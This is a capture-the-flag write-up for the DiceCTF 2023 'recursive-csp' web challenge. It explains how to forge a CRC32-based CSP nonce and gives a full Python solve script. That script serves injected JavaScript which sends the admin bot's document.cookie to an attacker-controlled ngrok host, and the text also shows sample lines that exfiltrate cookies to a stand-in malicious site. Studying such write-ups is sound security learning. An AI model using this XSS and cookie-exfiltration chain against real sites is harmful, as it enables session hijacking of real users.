# DiceCTF 2023
Categories: web
2023-02-07
### Recursive-csp
>the nonce isn't random, so how hard could this be?
>(the flag is in the admin bot's cookie)
> recursive-csp.mc.ax
> Admin Bot
Author: strellic
## Challenge
### Overview
We are presented with a basic website, that prompts us for our name.

When we inspect the script, we can actually see a link to `/?source`, which gives us the entire source of the website:
```php
<?php
if (isset($_GET["source"])) highlight_file(__FILE__) && die();
$name = "world";
if (isset($_GET["name"]) && is_string($_GET["name"]) && strlen($_GET["name"]) < 128) {
$name = $_GET["name"];
}
$nonce = hash("crc32b", $name);
header("Content-Security-Policy: default-src 'none'; script-src 'nonce-$nonce' 'unsafe-inline'; base-uri 'none';");
?>
<!DOCTYPE html>
<html>
<head>
<title>recursive-csp</title>
</head>
<body>
<h1>Hello, <?php echo $name ?>!</h1>
<h3>Enter your name:</h3>
<form method="GET">
<input type="text" placeholder="name" name="name" />
<input type="submit" />
</form>
<!-- /?source -->
</body>
</html>
```
Since we have an admin bot, that has a cookie set for this website, and some query parameter, that is displayed on the webpage as-is, we can assume that we want to do a XSS attack, to exfiltrate the document cookie. But the trick is, the CSP forbids us from using any img:src/onerror/fetch tricks, and instead only allows us to use script with correct nonce set.
If we try to submit `<script nonce=00000000>console.log(1)</script>`, we get an error in our console: 
So we want to create a script that includes its own nonce in it. Also notice, that we are limited to **128** characters.
### CRC32
Because of the way crc32 works, we can create any crc, we just have to have 32 bits of freedom in our payload. For more info check out [CRC wiki](https://en.wikipedia.org/wiki/Cyclic_redundancy_check#Data_integrity), but essentially:

- We want CRC$(x \oplus y)$ to be 0. (Here we can choose any crc, but for lack of imagination, I chose 0).
- We have a payload $x$ of which we can change some bits, but at first it has wrong crc.
- $y$ here will be our *correction* string. It will have the same length as $x$, but it will only consist of zeroes, except for the predefined locations, that will be either 0 or 1. We need as many free bits as the length of the crc we are trying to manipulate = 32.
- $c$ is dependant only on the len(x) (==len(y)), so we can also compute it.
Let's say, we want to have a payload where all the characters are printable. Therefore, we can have some characters, of bit form `0x1xxxxx`, where `x` can be either 1 or 0. That way, no matter the `x`'s we always land on the printable character in [ascii table](https://www.asciitable.com/). Because we need control of 32 bits, and one character provides 6 degrees of freedom, we thus need **6** such characters.
The idea for the $x$ part of the payload could then be:
```html!
<script nonce=00000000 src="https://our_malicious_website_but_not_too_long.com/script.js"></script>bbbbbb
```
The evil script would then add another script tag to the document with javascript, which would include cookies in it's request. Something along the lines of:
```js!
document.write('<script nonce=00000000 src="https://our_malicious_website_but_not_too_long.com?cookie='+encodeURI(document.cookie)+'"></script>');
```
We have to be careful, to match the nonce of the imported script with the first script's nonce.
Then we can programatically flip bits of the last 6 characters, to match nonce with it's crc.
### CRC spoof
We could write our own script to do that, but I found this great repository, writtten in C: [https://github.com/madler/spoof](https://github.com/madler/spoof), which allows us to do precisely that.
We have to generate a config file, that we will feed to `spoof` binary, which then produces a list of bit flips. Then we can utilize `flip` binary to execute the bit flips on a given file.
The config file looks like this:
```
<crc degree> <crc polynom> <is polynom reflected>
<xor of current and desired crc> <message length in bytes>
<byte pos 1> <flip bit pos1>
<byte pos 2> <flip bit pos2>
...
```
In our example, we can give the script $x$'s own crc as the xor, so at the end we get final crc zeroed out. Message length also varies along with the bit positions of last 6 characters.
Note: the `spoof` script expects bit positions in MSB manner: so bit positions 0,1,2,3,4&6.
```
32 04c11db7 1
<our crc> <message len>
<b1> 0
<b1> 1
...
<b6> 4
<b6> 6
```
- `32`, because this is crc**32**
- `04c11db7` & `1` because this is the standard for this crc
### The solve script
With all this information, we can begin to construct our solution script.
I'll be utilizing ngrok, because it provides https url, that we need to bypass csp.
```python!
import subprocess
from urllib.parse import quote
import os
from binascii import crc32
from itertools import product
import random
from pyngrok import ngrok
import tempfile
SPOOFDIR = "/opt/spoof_crc"
WORKDIR = tempfile.mkdtemp()
ATTACK_WEBSITE = "https://recursive-csp.mc.ax"
PORT = random.randint(1000, 9999)
print("Using workdir:", WORKDIR)
# Create ngrok tunnel
ngrok_tunnel = ngrok.connect(
PORT, 'http', bind_tls=True) # Don't forget bind_tls!
ngrok_public_url = ngrok_tunnel.public_url
print("Ngrok public url:", ngrok_public_url)
# Create payload
PAD_CHAR = "b"
payload = f"<script nonce=00000000 src=\"{ngrok_public_url}/s.js\"></script>" + 'b'*6
with open(f"{WORKDIR}/payload", "w") as wf:
wf.write(payload)
# Do the spoofing
def generate_spoof_conf(msg_in: bytes):
msg_len = len(msg_in)
b_start = msg_len - 6
bit_pos = [f'{bytepos} {bitpos}'
for bytepos, bitpos in product(range(b_start, msg_len), (0, 1, 2, 3, 4, 6))]
x_crc = f"{crc32(msg_in):08x}"
print("Initial CRC:", x_crc)
with open(f"{WORKDIR}/conf", "w") as wf:
wf.write("32 04c11db7 1\n")
wf.write(f"{x_crc} {msg_len}\n")
wf.write('\n'.join(bit_pos))
generate_spoof_conf(payload.encode('ascii'))
os.system(
f"{SPOOFDIR}/spoof < {WORKDIR}/conf | {SPOOFDIR}/flip {WORKDIR}/payload"
)
with open(f"{WORKDIR}/payload") as rf:
payload = rf.read()
# Now crc32(payload) = 00000000
# Generating malicious javascript
def generate_javascript(ngrok_url: str):
script = f"""
CALLBACK_URL = "{ngrok_url}";
document.write('<script nonce=00000000 src="'+CALLBACK_URL+'?cookie='+encodeURI(document.cookie)+'"></script>');
""".strip()
with open(f"{WORKDIR}/s.js", "w") as wf:
wf.write(script)
generate_javascript(ngrok_public_url)
# We are ready to serve our evilness
srv = subprocess.Popen(["python3", "-m", "http.server",
str(PORT)], cwd=WORKDIR)
# urlencode the payload
payload = quote(payload)
print("\n\nSend this to admin:\n")
print(f"{ATTACK_WEBSITE}/?name={payload}\n\n")
try:
input("Press enter to exit\n")
except KeyboardInterrupt:
pass
srv.send_signal(subprocess.signal.SIGINT)
srv.wait()
ngrok.kill()
# Remove WORKDIR
try:
os.system(f"rm -rf {WORKDIR}")
except:
print("Failed to remove workdir")
```
When we run the script, we just wait for admin to hand over his cookie and then press any key to stop the server. When finished just press any key to stop the server